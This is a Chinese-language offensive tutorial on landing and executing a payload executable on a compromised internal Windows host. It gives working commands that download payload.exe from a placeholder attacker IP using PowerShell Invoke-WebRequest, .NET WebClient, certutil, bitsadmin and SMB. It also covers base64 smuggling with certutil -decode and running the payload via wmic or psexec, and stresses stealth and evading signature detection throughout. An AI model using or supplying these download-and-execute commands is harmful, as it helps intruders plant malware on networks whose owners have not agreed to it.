### 内网文件 exe 落地怎么去做，用什么命令去执行来落地

**1. 文件落地前的准备**

在执行文件落地之前，你需要做好以下准备工作：

- **选择合适的工具**：你需要一个轻量、隐蔽、功能强大的工具，例如 **`meterpreter`**，它支持直接在内存中执行 Shellcode，避免文件落地。如果你必须落地文件，可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload
- **设置文件服务器**：在你的攻击机上，你需要搭建一个简单的 Web 服务器或 SMB 服务器，以便目标机器能够下载文件
  - **HTTP 服务器**：在 Python 中，你可以用一行命令快速启动一个 HTTP 服务器：`python3 -m http.server 80`
  - **SMB 服务器**：使用 **`Impacket`** 工具包中的 **`smbserver.py`** 脚本，可以搭建一个 SMB 服务器

**2. 内网文件落地常用命令**

一旦你获得了目标机器的权限，就可以使用以下命令来下载文件：

**方法一：使用 PowerShell （推荐）**

PowerShell 是现代 Windows 系统自带的强大脚本语言，也是渗透测试中最常用的文件落地工具

- **使用 `Invoke-WebRequest` 或 `iwr`** 这是最常用的方法，它可以在后台下载文件，并且功能强大

  ```powershell
  # 下载文件并保存到指定路径
  Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
  # 或者使用别名
  iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
  ```

- **使用 `.NET` 对象** 这种方法更隐蔽，因为它直接调用 .NET 库，而不是通过一个特定的 cmdlet

  ```powershell
  $WebClient = New-Object System.Net.WebClient
  $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")
  ```

**方法二：使用 `certutil`**

`certutil` 是 Windows 系统自带的命令行工具，通常用于管理证书，但它也提供了下载文件的功能

- **下载命令**

  ```cmd
  certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe
  ```

  - `-urlcache`：允许从 URL 下载
  - `-split`：将下载的文件保存为独立文件
  - `-f`：强制下载文件

**方法三：使用 `bitsadmin`**

`bitsadmin` 是 Windows 后台智能传输服务（BITS）的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载，非常适合在不稳定网络环境下使用

- **下载命令**

  ```cmd
  bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe
  ```

**方法四：使用 SMB 协议**

如果你在攻击机上搭建了 SMB 服务器，可以直接通过 SMB 协议传输文件，这在许多环境中比 HTTP 更隐蔽

- **下载命令**

  ```cmd
  copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe
  ```

**方法五：将文件内容写入文件**

这是一个非常隐蔽的方法，特别适用于 Shell 权限受限，无法直接执行下载命令的情况

- **原理**：你将文件的二进制内容转换为文本格式（例如十六进制字符串），然后通过 `echo` 命令或 `certutil -decode` 等方式，将文本内容写入一个新文件，并将其解码为可执行文件

- **示例**

  1. 在攻击机上，将 `payload.exe` 转换为 Base64 编码：`base64 payload.exe > payload.b64`

  2. 在目标机上，使用 `echo` 将 Base64 字符串写入一个临时文件：

     ```powershell
     echo <base64编码字符串> > C:\Users\Public\payload.b64
     ```

  3. 使用 `certutil` 将 Base64 文件解码为可执行文件：

     ```cmd
     certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe
     ```

**3. 文件落地后的执行**

文件落地成功后，你需要执行它。执行命令取决于你获得的权限

- **在命令行中直接执行** 如果你已经获得了 Shell，可以直接输入文件路径来执行：`C:\Users\Public\payload.exe`

- **使用 `psexec`** 如果你有域管理员权限，可以使用 `psexec` 在目标机器上远程执行文件

- **使用 WMI** 利用 **Windows Management Instrumentation (WMI)**，你可以通过远程方式在目标机器上执行进程

  ```powershell
  wmic process call create "C:\Users\Public\payload.exe"
  ```